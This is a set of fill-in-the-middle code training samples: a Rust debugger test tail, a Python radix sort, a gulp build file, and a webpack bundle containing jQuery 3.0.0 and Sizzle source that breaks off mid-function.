unreachable!(); } else { zzz(); // #break sentinel(); let x = 1004; let y = 1005; zzz(); // #break sentinel(); } zzz(); // #break sentinel(); } fn zzz() {()} fn sentinel() {()}<|fim▁end|>
// BEGINNING of else branch // gdb-command:print x
<|file_name|>RadixSort.py<|end_file_name|><|fim▁begin|>#implementation of radix sort in Python. def RadixSort(A): RADIX = 10 maxLength = False tmp , placement = -1, 1 <|fim▁hole|> buckets = [list() for _ in range(RADIX)] for i in A: tmp = i / placement buckets[tmp % RADIX].append(i) if maxLength and tmp > 0: maxLength = False a = 0 for b in range(RADIX): buck = buckets[b] for i in buck: A[a] = i a += 1 # move to next digit placement *= RADIX A = [534, 246, 933, 127, 277, 321, 454, 565, 220] print(RadixSort(A))<|fim▁end|>
while not maxLength: maxLength = True
<|file_name|>gulpfile.js<|end_file_name|><|fim▁begin|>var gulp = require('gulp'); var browserify = require('browserify'); //transform jsx to js var reactify = require('reactify'); //convert to stream var source = require('vinyl-source-stream'); var nodemon = require('gulp-nodemon'); gulp.task('browserify', function() { //source browserify('./src/js/main.js') //convert jsx to js .transform('reactify') //creates a bundle .bundle() .pipe(source('main.js')) .pipe(gulp.dest('dist/js')) }); gulp.task('copy', function() { <|fim▁hole|> gulp.src('src/index.html') .pipe(gulp.dest('dist')); gulp.src('src/assets/**/*.*') .pipe(gulp.dest('dist/assets')); }); gulp.task('nodemon', function(cb) { var called = false; return nodemon({ script: 'server.js' }).on('start', function() { if (!called) { called = true; cb(); } }); }); gulp.task('default', ['browserify', 'copy', 'nodemon'], function() { return gulp.watch('src/**/*.*', ['browserify', 'copy']); });<|fim▁end|>
<|file_name|>demo.bundle.js<|end_file_name|><|fim▁begin|>/******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ /******/ // Check if module is in cache /******/ if(installedModules[moduleId]) /******/ return installedModules[moduleId].exports; /******/ /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ exports: {}, /******/ id: moduleId, /******/ loaded: false /******/ }; /******/ /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Flag the module as loaded /******/ module.loaded = true; /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ /******/ // Load entry module and return exports /******/ return __webpack_require__(0); /******/ }) /************************************************************************/ /******/ ([ /* 0 */ /***/ function(module, exports, __webpack_require__) { "use strict"; var $ = __webpack_require__(1); var React = __webpack_require__(2); var ReactDOM = __webpack_require__(3); var Hello_1 = __webpack_require__(4); var LabelTextbox_1 = __webpack_require__(5); var WebUser_1 = __webpack_require__(6); $(function () { var id = "target"; var container = document.getElementById(id); var model = new WebUser_1.default("James", null); function validate() { return model.validate(); } var wrapper = React.createElement("div", null, React.createElement(Hello_1.default, {class: "welcome", compiler: "TypeScript", framework: "ReactJS"}), React.createElement(LabelTextbox_1.default, {class: "field-username", type: "text", label: "Username", model: model}), React.createElement("button", {onClick: validate}, "Validate")); ReactDOM.render(wrapper, container); }); /***/ }, /* 1 */ /***/ function(module, exports, __webpack_require__) { var __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;/*! * jQuery JavaScript Library v3.0.0 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright jQuery Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2016-06-09T18:02Z */ ( function( global, factory ) { "use strict"; if ( typeof module === "object" && typeof module.exports === "object" ) { // For CommonJS and CommonJS-like environments where a proper `window` // is present, execute the factory and get jQuery. // For environments that do not have a `window` with a `document` // (such as Node.js), expose a factory as module.exports. // This accentuates the need for the creation of a real `window`. // e.g. var jQuery = require("jquery")(window); // See ticket #14549 for more info. module.exports = global.document ? factory( global, true ) : function( w ) { if ( !w.document ) { throw new Error( "jQuery requires a window with a document" ); } return factory( w ); }; } else { factory( global ); } // Pass this if window is not defined yet }( typeof window !== "undefined" ? window : this, function( window, noGlobal ) { // Edge <= 12 - 13+, Firefox <=18 - 45+, IE 10 - 11, Safari 5.1 - 9+, iOS 6 - 9.1 // throw exceptions when non-strict code (e.g., ASP.NET 4.5) accesses strict mode // arguments.callee.caller (trac-13335). But as of jQuery 3.0 (2016), strict mode should be common // enough that all such attempts are guarded in a try block. "use strict"; var arr = []; var document = window.document; var getProto = Object.getPrototypeOf; var slice = arr.slice; var concat = arr.concat; var push = arr.push; var indexOf = arr.indexOf; var class2type = {}; var toString = class2type.toString; var hasOwn = class2type.hasOwnProperty; var fnToString = hasOwn.toString; var ObjectFunctionString = fnToString.call( Object ); var support = {}; function DOMEval( code, doc ) { doc = doc || document; var script = doc.createElement( "script" ); script.text = code; doc.head.appendChild( script ).parentNode.removeChild( script ); } var version = "3.0.0", // Define a local copy of jQuery jQuery = function( selector, context ) { // The jQuery object is actually just the init constructor 'enhanced' // Need init if jQuery is called (just allow error to be thrown if not included) return new jQuery.fn.init( selector, context ); }, // Support: Android <=4.0 only // Make sure we trim BOM and NBSP rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, // Matches dashed string for camelizing rmsPrefix = /^-ms-/, rdashAlpha = /-([a-z])/g, // Used by jQuery.camelCase as callback to replace() fcamelCase = function( all, letter ) { return letter.toUpperCase(); }; jQuery.fn = jQuery.prototype = { // The current version of jQuery being used jquery: version, constructor: jQuery, // The default length of a jQuery object is 0 length: 0, toArray: function() { return slice.call( this ); }, // Get the Nth element in the matched element set OR // Get the whole matched element set as a clean array get: function( num ) { return num != null ? // Return just the one element from the set ( num < 0 ? this[ num + this.length ] : this[ num ] ) : // Return all the elements in a clean array slice.call( this ); }, // Take an array of elements and push it onto the stack // (returning the new matched element set) pushStack: function( elems ) { // Build a new jQuery matched element set var ret = jQuery.merge( this.constructor(), elems ); // Add the old object onto the stack (as a reference) ret.prevObject = this; // Return the newly-formed element set return ret; }, // Execute a callback for every element in the matched set. each: function( callback ) { return jQuery.each( this, callback ); }, map: function( callback ) { return this.pushStack( jQuery.map( this, function( elem, i ) { return callback.call( elem, i, elem ); } ) ); }, slice: function() { return this.pushStack( slice.apply( this, arguments ) ); }, first: function() { return this.eq( 0 ); }, last: function() { return this.eq( -1 ); }, eq: function( i ) { var len = this.length, j = +i + ( i < 0 ? len : 0 ); return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] ); }, end: function() { return this.prevObject || this.constructor(); }, // For internal use only. // Behaves like an Array's method, not like a jQuery method. push: push, sort: arr.sort, splice: arr.splice }; jQuery.extend = jQuery.fn.extend = function() { var options, name, src, copy, copyIsArray, clone, target = arguments[ 0 ] || {}, i = 1, length = arguments.length, deep = false; // Handle a deep copy situation if ( typeof target === "boolean" ) { deep = target; // Skip the boolean and the target target = arguments[ i ] || {}; i++; } // Handle case when target is a string or something (possible in deep copy) if ( typeof target !== "object" && !jQuery.isFunction( target ) ) { target = {}; } // Extend jQuery itself if only one argument is passed if ( i === length ) { target = this; i--; } for ( ; i < length; i++ ) { // Only deal with non-null/undefined values if ( ( options = arguments[ i ] ) != null ) { // Extend the base object for ( name in options ) { src = target[ name ]; copy = options[ name ]; // Prevent never-ending loop if ( target === copy ) { continue; } // Recurse if we're merging plain objects or arrays if ( deep && copy && ( jQuery.isPlainObject( copy ) || ( copyIsArray = jQuery.isArray( copy ) ) ) ) { if ( copyIsArray ) { copyIsArray = false; clone = src && jQuery.isArray( src ) ? src : []; } else { clone = src && jQuery.isPlainObject( src ) ? src : {}; } // Never move original objects, clone them target[ name ] = jQuery.extend( deep, clone, copy ); // Don't bring in undefined values } else if ( copy !== undefined ) { target[ name ] = copy; } } } } // Return the modified object return target; }; jQuery.extend( { // Unique for each copy of jQuery on the page expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ), // Assume jQuery is ready without the ready module isReady: true, error: function( msg ) { throw new Error( msg ); }, noop: function() {}, isFunction: function( obj ) { return jQuery.type( obj ) === "function"; }, isArray: Array.isArray, isWindow: function( obj ) { return obj != null && obj === obj.window; }, isNumeric: function( obj ) { // As of jQuery 3.0, isNumeric is limited to // strings and numbers (primitives or objects) // that can be coerced to finite numbers (gh-2662) var type = jQuery.type( obj ); return ( type === "number" || type === "string" ) && // parseFloat NaNs numeric-cast false positives ("") // ...but misinterprets leading-number strings, particularly hex literals ("0x...") // subtraction forces infinities to NaN !isNaN( obj - parseFloat( obj ) ); }, isPlainObject: function( obj ) { var proto, Ctor; // Detect obvious negatives // Use toString instead of jQuery.type to catch host objects if ( !obj || toString.call( obj ) !== "[object Object]" ) { return false; } proto = getProto( obj ); // Objects with no prototype (e.g., `Object.create( null )`) are plain if ( !proto ) { return true; } // Objects with prototype are plain iff they were constructed by a global Object function Ctor = hasOwn.call( proto, "constructor" ) && proto.constructor; return typeof Ctor === "function" && fnToString.call( Ctor ) === ObjectFunctionString; }, isEmptyObject: function( obj ) { var name; for ( name in obj ) { return false; } return true; }, type: function( obj ) { if ( obj == null ) { return obj + ""; } // Support: Android <=2.3 only (functionish RegExp) return typeof obj === "object" || typeof obj === "function" ? class2type[ toString.call( obj ) ] || "object" : typeof obj; }, // Evaluates a script in a global context globalEval: function( code ) { DOMEval( code ); }, // Convert dashed to camelCase; used by the css and data modules // Support: IE <=9 - 11, Edge 12 - 13 // Microsoft forgot to hump their vendor prefix (#9572) camelCase: function( string ) { return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase ); }, nodeName: function( elem, name ) { return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); }, each: function( obj, callback ) { var length, i = 0; if ( isArrayLike( obj ) ) { length = obj.length; for ( ; i < length; i++ ) { if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { break; } } } else { for ( i in obj ) { if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { break; } } } return obj; }, // Support: Android <=4.0 only trim: function( text ) { return text == null ? "" : ( text + "" ).replace( rtrim, "" ); }, // results is for internal usage only makeArray: function( arr, results ) { var ret = results || []; if ( arr != null ) { if ( isArrayLike( Object( arr ) ) ) { jQuery.merge( ret, typeof arr === "string" ? [ arr ] : arr ); } else { push.call( ret, arr ); } } return ret; }, inArray: function( elem, arr, i ) { return arr == null ? -1 : indexOf.call( arr, elem, i ); }, // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit merge: function( first, second ) { var len = +second.length, j = 0, i = first.length; for ( ; j < len; j++ ) { first[ i++ ] = second[ j ]; } first.length = i; return first; }, grep: function( elems, callback, invert ) { var callbackInverse, matches = [], i = 0, length = elems.length, callbackExpect = !invert; // Go through the array, only saving the items // that pass the validator function for ( ; i < length; i++ ) { callbackInverse = !callback( elems[ i ], i ); if ( callbackInverse !== callbackExpect ) { matches.push( elems[ i ] ); } } return matches; }, // arg is for internal usage only map: function( elems, callback, arg ) { var length, value, i = 0, ret = []; // Go through the array, translating each of the items to their new values if ( isArrayLike( elems ) ) { length = elems.length; for ( ; i < length; i++ ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret.push( value ); } } // Go through every key on the object, } else { for ( i in elems ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret.push( value ); } } } // Flatten any nested arrays return concat.apply( [], ret ); }, // A global GUID counter for objects guid: 1, // Bind a function to a context, optionally partially applying any // arguments. proxy: function( fn, context ) { var tmp, args, proxy; if ( typeof context === "string" ) { tmp = fn[ context ]; context = fn; fn = tmp; } // Quick check to determine if target is callable, in the spec // this throws a TypeError, but we will just return undefined. if ( !jQuery.isFunction( fn ) ) { return undefined; } // Simulated bind args = slice.call( arguments, 2 ); proxy = function() { return fn.apply( context || this, args.concat( slice.call( arguments ) ) ); }; // Set the guid of unique handler to the same of original handler, so it can be removed proxy.guid = fn.guid = fn.guid || jQuery.guid++; return proxy; }, now: Date.now, // jQuery.support is not used in Core but other projects attach their // properties to it so it needs to exist. support: support } ); // JSHint would error on this code due to the Symbol not being defined in ES5. // Defining this global in .jshintrc would create a danger of using the global // unguarded in another place, it seems safer to just disable JSHint for these // three lines. /* jshint ignore: start */ if ( typeof Symbol === "function" ) { jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ]; } /* jshint ignore: end */ // Populate the class2type map jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ), function( i, name ) { class2type[ "[object " + name + "]" ] = name.toLowerCase(); } ); function isArrayLike( obj ) { // Support: real iOS 8.2 only (not reproducible in simulator) // `in` check used to prevent JIT error (gh-2145) // hasOwn isn't used here due to false negatives // regarding Nodelist length in IE var length = !!obj && "length" in obj && obj.length, type = jQuery.type( obj ); if ( type === "function" || jQuery.isWindow( obj ) ) { return false; } return type === "array" || length === 0 || typeof length === "number" && length > 0 && ( length - 1 ) in obj; } var Sizzle = /*! * Sizzle CSS Selector Engine v2.3.0 * https://sizzlejs.com/ * * Copyright jQuery Foundation and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2016-01-04 */ (function( window ) { var i, support, Expr, getText, isXML, tokenize, compile, select, outermostContext, sortInput, hasDuplicate, // Local document vars setDocument, document, docElem, documentIsHTML, rbuggyQSA, rbuggyMatches, matches, contains, // Instance-specific data expando = "sizzle" + 1 * new Date(), preferredDoc = window.document, dirruns = 0, done = 0, classCache = createCache(), tokenCache = createCache(), compilerCache = createCache(), sortOrder = function( a, b ) { if ( a === b ) { hasDuplicate = true; } return 0; }, // Instance methods hasOwn = ({}).hasOwnProperty, arr = [], pop = arr.pop, push_native = arr.push, push = arr.push, slice = arr.slice, // Use a stripped-down indexOf as it's faster than native // https://jsperf.com/thor-indexof-vs-for/5 indexOf = function( list, elem ) { var i = 0, len = list.length; for ( ; i < len; i++ ) { if ( list[i] === elem ) { return i; } } return -1; }, booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped", // Regular expressions // http://www.w3.org/TR/css3-selectors/#whitespace whitespace = "[\\x20\\t\\r\\n\\f]", // http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier identifier = "(?:\\\\.|[\\w-]|[^\0-\\xa0])+", // Attribute selectors: http://www.w3.org/TR/selectors/#attribute-selectors attributes = "\\[" + whitespace + "*(" + identifier + ")(?:" + whitespace + // Operator (capture 2) "*([*^$|!~]?=)" + whitespace + // "Attribute values must be CSS identifiers [capture 5] or strings [capture 3 or capture 4]" "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace + "*\\]", pseudos = ":(" + identifier + ")(?:\\((" + // To reduce the number of selectors needing tokenize in the preFilter, prefer arguments: // 1. quoted (capture 3; capture 4 or capture 5) "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + // 2. simple (capture 6) "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + // 3. anything else (capture 2) ".*" + ")\\)|)", // Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter rwhitespace = new RegExp( whitespace + "+", "g" ), rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ), rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ), rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ), rattributeQuotes = new RegExp( "=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g" ), rpseudo = new RegExp( pseudos ), ridentifier = new RegExp( "^" + identifier + "$" ), matchExpr = { "ID": new RegExp( "^#(" + identifier + ")" ), "CLASS": new RegExp( "^\\.(" + identifier + ")" ), "TAG": new RegExp( "^(" + identifier + "|[*])" ), "ATTR": new RegExp( "^" + attributes ), "PSEUDO": new RegExp( "^" + pseudos ), "CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i" ), "bool": new RegExp( "^(?:" + booleans + ")$", "i" ), // For use in libraries implementing .is() // We use this for POS matching in `select` "needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" ) }, rinputs = /^(?:input|select|textarea|button)$/i, rheader = /^h\d$/i, rnative = /^[^{]+\{\s*\[native \w/, // Easily-parseable/retrievable ID or TAG or CLASS selectors rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, rsibling = /[+~]/, // CSS escapes // http://www.w3.org/TR/CSS21/syndata.html#escaped-characters runescape = new RegExp( "\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig" ), funescape = function( _, escaped, escapedWhitespace ) { var high = "0x" + escaped - 0x10000; // NaN means non-codepoint // Support: Firefox<24 // Workaround erroneous numeric interpretation of +"0x" return high !== high || escapedWhitespace ? escaped : high < 0 ? // BMP codepoint String.fromCharCode( high + 0x10000 ) : // Supplemental Plane codepoint (surrogate pair) String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 ); }, // CSS string/identifier serialization // https://drafts.csswg.org/cssom/#common-serializing-idioms rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g, fcssescape = function( ch, asCodePoint ) { if ( asCodePoint ) { // U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER if ( ch === "\0" ) { return "\uFFFD"; } // Control characters and (dependent upon position) numbers get escaped as code points return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " "; } // Other potentially-special ASCII characters get backslash-escaped return "\\" + ch; }, // Used for iframes // See setDocument() // Removing the function wrapper causes a "Permission Denied" // error in IE unloadHandler = function() { setDocument(); }, disabledAncestor = addCombinator( function( elem ) { return elem.disabled === true; }, { dir: "parentNode", next: "legend" } ); // Optimize for push.apply( _, NodeList ) try { push.apply( (arr = slice.call( preferredDoc.childNodes )), preferredDoc.childNodes ); // Support: Android<4.0 // Detect silently failing push.apply arr[ preferredDoc.childNodes.length ].nodeType; } catch ( e ) { push = { apply: arr.length ? // Leverage slice if possible function( target, els ) { push_native.apply( target, slice.call(els) ); } : // Support: IE<9 // Otherwise append directly function( target, els ) { var j = target.length, i = 0; // Can't trust NodeList.length while ( (target[j++] = els[i++]) ) {} target.length = j - 1; } }; } function Sizzle( selector, context, results, seed ) { var m, i, elem, nid, match, groups, newSelector, newContext = context && context.ownerDocument, // nodeType defaults to 9, since context defaults to document nodeType = context ? context.nodeType : 9; results = results || []; // Return early from calls with invalid selector or context if ( typeof selector !== "string" || !selector || nodeType !== 1 && nodeType !== 9 && nodeType !== 11 ) { return results; } // Try to shortcut find operations (as opposed to filters) in HTML documents if ( !seed ) { if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) { setDocument( context ); } context = context || document; if ( documentIsHTML ) { // If the selector is sufficiently simple, try using a "get*By*" DOM method // (excepting DocumentFragment context, where the methods don't exist) if ( nodeType !== 11 && (match = rquickExpr.exec( selector )) ) { // ID selector if ( (m = match[1]) ) { // Document context if ( nodeType === 9 ) { if ( (elem = context.getElementById( m )) ) { // Support: IE, Opera, Webkit // TODO: identify versions // getElementById can match elements by name instead of ID if ( elem.id === m ) { results.push( elem ); return results; } } else { return results; } // Element context } else { // Support: IE, Opera, Webkit // TODO: identify versions // getElementById can match elements by name instead of ID if ( newContext && (elem = newContext.getElementById( m )) && contains( context, elem ) && elem.id === m ) { results.push( elem ); return results; } } // Type selector } else if ( match[2] ) { push.apply( results, context.getElementsByTagName( selector ) ); return results; // Class selector } else if ( (m = match[3]) && support.getElementsByClassName && context.getElementsByClassName ) { push.apply( results, context.getElementsByClassName( m ) ); return results; } } // Take advantage of querySelectorAll if ( support.qsa && !compilerCache[ selector + " " ] && (!rbuggyQSA || !rbuggyQSA.test( selector )) ) { if ( nodeType !== 1 ) { newContext = context; newSelector = selector; // qSA looks outside Element context, which is not what we want // Thanks to Andrew Dupont for this workaround technique // Support: IE <=8 // Exclude object elements } else if ( context.nodeName.toLowerCase() !== "object" ) { // Capture the context ID, setting it first if necessary if ( (nid = context.getAttribute( "id" )) ) { nid = nid.replace( rcssescape, fcssescape ); } else { context.setAttribute( "id", (nid = expando) ); } // Prefix every selector in the list groups = tokenize( selector ); i = groups.length; while ( i-- ) { groups[i] = "#" + nid + " " + toSelector( groups[i] ); } newSelector = groups.join( "," ); // Expand context for sibling selectors newContext = rsibling.test( selector ) && testContext( context.parentNode ) || context; } if ( newSelector ) { try { push.apply( results, newContext.querySelectorAll( newSelector ) ); return results; } catch ( qsaError ) { } finally { if ( nid === expando ) { context.removeAttribute( "id" ); } } } } } } // All others return select( selector.replace( rtrim, "$1" ), context, results, seed ); } /** * Create key-value caches of limited size * @returns {function(string, object)} Returns the Object data after storing it on itself with * property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength) * deleting the oldest entry */ function createCache() { var keys = []; function cache( key, value ) { // Use (key + " ") to avoid collision with native prototype properties (see Issue #157) if ( keys.push( key + " " ) > Expr.cacheLength ) { // Only keep the most recent entries delete cache[ keys.shift() ]; } return (cache[ key + " " ] = value); } return cache; } /** * Mark a function for special use by Sizzle * @param {Function} fn The function to mark */ function markFunction( fn ) { fn[ expando ] = true; return fn; } /** * Support testing using an element * @param {Function} fn Passed the created element and returns a boolean result */ function assert( fn ) { var el = document.createElement("fieldset"); try { return !!fn( el ); } catch (e) { return false; } finally { // Remove from its parent by default if ( el.parentNode ) { el.parentNode.removeChild( el ); } // release memory in IE el = null; } } /** * Adds the same handler for all of the specified attrs * @param {String} attrs Pipe-separated list of attributes * @param {Function} handler The method that will be applied */ function addHandle( attrs, handler ) { var arr = attrs.split("|"), i = arr.length; while ( i-- ) { Expr.attrHandle[ arr[i] ] = handler; } } /** * Checks document order of two siblings * @param {Element} a * @param {Element} b * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b */ function siblingCheck( a, b ) { var cur = b && a, diff = cur && a.nodeType === 1 && b.nodeType === 1 && a.sourceIndex - b.sourceIndex; // Use IE sourceIndex if available on both nodes if ( diff ) { return diff; } // Check if b follows a if ( cur ) { while ( (cur = cur.nextSibling) ) { if ( cur === b ) { return -1; } } } return a ? 1 : -1; } /** * Returns a function to use in pseudos for input types * @param {String} type */ function createInputPseudo( type ) { return function( elem ) { var name = elem.nodeName.toLowerCase(); return name === "input" && elem.type === type; }; } /** * Returns a function to use in pseudos for buttons * @param {String} type */ function createButtonPseudo( type ) { return function( elem ) { var name = elem.nodeName.toLowerCase(); return (name === "input" || name === "button") && elem.type === type; }; } /** * Returns a function to use in pseudos for :enabled/:disabled * @param {Boolean} disabled true for :disabled; false for :enabled */ function createDisabledPseudo( disabled ) { // Known :disabled false positives: // IE: *[disabled]:not(button, input, select, textarea, optgroup, option, menuitem, fieldset) // not IE: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable return function( elem ) { // Check form elements and option elements for explicit disabling return "label" in elem && elem.disabled === disabled || "form" in elem && elem.disabled === disabled || // Check non-disabled form elements for fieldset[disabled] ancestors "form" in elem && elem.disabled === false && ( // Support: IE6-11+ // Ancestry is covered for us elem.isDisabled === disabled || // Otherwise, assume any non-<option> under fieldset[disabled] is disabled /* jshint -W018 */ elem.isDisabled !== !disabled && ("label" in elem || !disabledAncestor( elem )) !== disabled ); }; } /** * Returns a function to use in pseudos for positionals * @param {Function} fn */ function createPositionalPseudo( fn ) { return markFunction(function( argument ) { argument = +argument; return markFunction(function( seed, matches ) { var j, matchIndexes = fn( [], seed.length, argument ), i = matchIndexes.length; // Match elements found at the specified indexes while ( i-- ) { if ( seed[ (j = matchIndexes[i]) ] ) { seed[j] = !(matches[j] = seed[j]); } } }); }); } /** * Checks a node for validity as a Sizzle context * @param {Element|Object=} context * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value */ function testContext( context ) { return context && typeof context.getElementsByTagName !== "undefined" && context; } // Expose support vars for convenience support = Sizzle.support = {}; /** * Detects XML nodes * @param {Element|Object} elem An element or a document * @returns {Boolean} True iff elem is a non-HTML XML node */ isXML = Sizzle.isXML = function( elem ) { // documentElement is verified for cases where it doesn't yet exist // (such as loading iframes in IE - #4833) var documentElement = elem && (elem.ownerDocument || elem).documentElement; return documentElement ? documentElement.nodeName !== "HTML" : false; }; /** * Sets document-related variables once based on the current document * @param {Element|Object} [doc] An element or document object to use to set the document * @returns {Object} Returns the current document */ setDocument = Sizzle.setDocument = function( node ) { var hasCompare, subWindow, doc = node ? node.ownerDocument || node : preferredDoc; // Return early if doc is invalid or already selected if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) { return document; } // Update global variables document = doc; docElem = document.documentElement; documentIsHTML = !isXML( document ); // Support: IE 9-11, Edge // Accessing iframe documents after unload throws "permission denied" errors (jQuery #13936) if ( preferredDoc !== document && (subWindow = document.defaultView) && subWindow.top !== subWindow ) { // Support: IE 11, Edge if ( subWindow.addEventListener ) { subWindow.addEventListener( "unload", unloadHandler, false ); // Support: IE 9 - 10 only } else if ( subWindow.attachEvent ) { subWindow.attachEvent( "onunload", unloadHandler ); } } /* Attributes ---------------------------------------------------------------------- */ // Support: IE<8 // Verify that getAttribute really returns attributes and not properties // (excepting IE8 booleans) support.attributes = assert(function( el ) { el.className = "i"; return !el.getAttribute("className"); }); /* getElement(s)By* ---------------------------------------------------------------------- */ // Check if getElementsByTagName("*") returns only elements support.getElementsByTagName = assert(function( el ) { el.appendChild( document.createComment("") ); return !el.getElementsByTagName("*").length; }); // Support: IE<9 support.getElementsByClassName = rnative.test( document.getElementsByClassName ); // Support: IE<10 // Check if getElementById returns elements by name // The broken getElementById methods don't pick up programmatically-set names, // so use a roundabout getElementsByName test support.getById = assert(function( el ) { docElem.appendChild( el ).id = expando; return !document.getElementsByName || !document.getElementsByName( expando ).length; }); // ID find and filter if ( support.getById ) { Expr.find["ID"] = function( id, context ) { if ( typeof context.getElementById !== "undefined" && documentIsHTML ) { var m = context.getElementById( id ); return m ? [ m ] : []; } }; Expr.filter["ID"] = function( id ) { var attrId = id.replace( runescape, funescape ); return function( elem ) { return elem.getAttribute("id") === attrId; }; }; } else { // Support: IE6/7 // getElementById is not reliable as a find shortcut delete Expr.find["ID"]; Expr.filter["ID"] = function( id ) { var attrId = id.replace( runescape, funescape ); return function( elem ) { var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id"); return node && node.value === attrId; }; }; } // Tag Expr.find["TAG"] = support.getElementsByTagName ? function( tag, context ) { if ( typeof context.getElementsByTagName !== "undefined" ) { return context.getElementsByTagName( tag ); // DocumentFragment nodes don't have gEBTN } else if ( support.qsa ) { return context.querySelectorAll( tag ); } } : function( tag, context ) { var elem, tmp = [], i = 0, // By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too results = context.getElementsByTagName( tag ); // Filter out possible comments if ( tag === "*" ) { while ( (elem = results[i++]) ) { if ( elem.nodeType === 1 ) { tmp.push( elem ); } } return tmp; } return results; }; // Class Expr.find["CLASS"] = support.getElementsByClassName && function( className, context ) { if ( typeof context.getElementsByClassName !== "undefined" && documentIsHTML ) { return context.getElementsByClassName( className ); } }; /* QSA/matchesSelector ---------------------------------------------------------------------- */ // QSA and matchesSelector support // matchesSelector(:active) reports false when true (IE9/Opera 11.5) rbuggyMatches = []; // qSa(:focus) reports false when true (Chrome 21) // We allow this because of a bug in IE8/9 that throws an error // whenever `document.activeElement` is accessed on an iframe // So, we allow :focus to pass through QSA all the time to avoid the IE error // See https://bugs.jquery.com/ticket/13378 rbuggyQSA = []; if ( (support.qsa = rnative.test( document.querySelectorAll )) ) { // Build QSA regex // Regex strategy adopted from Diego Perini assert(function( el ) { // Select is set to empty string on purpose // This is to test IE's treatment of not explicitly // setting a boolean content attribute, // since its presence should be enough // https://bugs.jquery.com/ticket/12359 docElem.appendChild( el ).innerHTML = "<a id='" + expando + "'></a>" + "<select id='" + expando + "-\r\\' msallowcapture=''>" + "<option selected=''></option></select>"; // Support: IE8, Opera 11-12.16 // Nothing should be selected when empty strings follow ^= or $= or *= // The test attribute must be unknown in Opera but "safe" for WinRT // https://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section if ( el.querySelectorAll("[msallowcapture^='']").length ) { rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" ); } // Support: IE8 // Boolean attributes and "value" are not treated correctly if ( !el.querySelectorAll("[selected]").length ) { rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" ); } // Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+ if ( !el.querySelectorAll( "[id~=" + expando + "-]" ).length ) { rbuggyQSA.push("~="); } // Webkit/Opera - :checked should return selected option elements // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked // IE8 throws error here and will not see later tests if ( !el.querySelectorAll(":checked").length ) { rbuggyQSA.push(":checked"); } // Support: Safari 8+, iOS 8+ // https://bugs.webkit.org/show_bug.cgi?id=136851 // In-page `selector#id sibling-combinator selector` fails if ( !el.querySelectorAll( "a#" + expando + "+*" ).length ) { rbuggyQSA.push(".#.+[+~]"); } }); assert(function( el ) { el.innerHTML = "<a href='' disabled='disabled'></a>" + "<select 